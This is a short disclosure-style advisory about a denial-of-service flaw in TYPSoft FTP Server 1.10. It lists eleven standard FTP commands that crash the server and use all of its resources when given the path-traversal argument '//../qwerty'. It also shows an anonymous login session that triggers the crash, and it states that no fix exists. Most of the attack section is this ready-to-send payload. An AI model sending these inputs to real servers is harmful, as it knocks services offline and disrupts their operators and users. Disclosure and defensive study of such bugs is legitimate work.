Application:  TYPSoft FTP Server
              http://www.typsoft.com/

Version:      1.10

Bug:          [+] multiple vulnerabilities (Denial Of Service)
              [+] 100% employment of computer resources

Author:       intuit
              e-mail: intuit(at)linuxmail.org
              web: http://rootshells.tk/
              
        greetz to: tgs ;)

***********************************************************************

1. Description
2. The bug
3. The code
4. The fix

***********************************************************************

^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^

Vendor's Description:

"TYPSoft FTP Server is a fast and easy ftp server with support to
Standard FTP Command, Clean interface, Virtual File System
architecture, ability to resume Download and Upload, IP Restriction, 
Login/Quit message, logs, Multi Language and many other things."

***********************************************************************

^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^

TYPSoft FTP Server may be DoS'ed with standart ftp commands:
mkd, xmkd, dele, size, retr, stor, appe, rnfr, rnto, rmd, xrmd.
With parameter "//../qwerty", like that:

mkd //../qwerty
xmkd //../qwerty
dele //../qwerty
size //../qwerty
retr //../qwerty
stor //../qwerty
appe //../qwerty
rnfr //../qwerty
rnto //../qwerty
rmd //../qwerty
xrmd //../qwerty

***********************************************************************

^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^

To test the vulnerability:

-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
user anonymous
331 Password required for anonymous.
pass
230 User anonymous logged in.
mkd //../qwerty
-----------------------------------------------------------------------

and the ftp server will be DoS'ed + 100% employment of computer resources.


/*Tested on: Win XP Build 2600, Service Pack: None
             Win XP Build 2600, Service Pack: SP1*/

***********************************************************************

^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^

Not exist.

***********************************************************************

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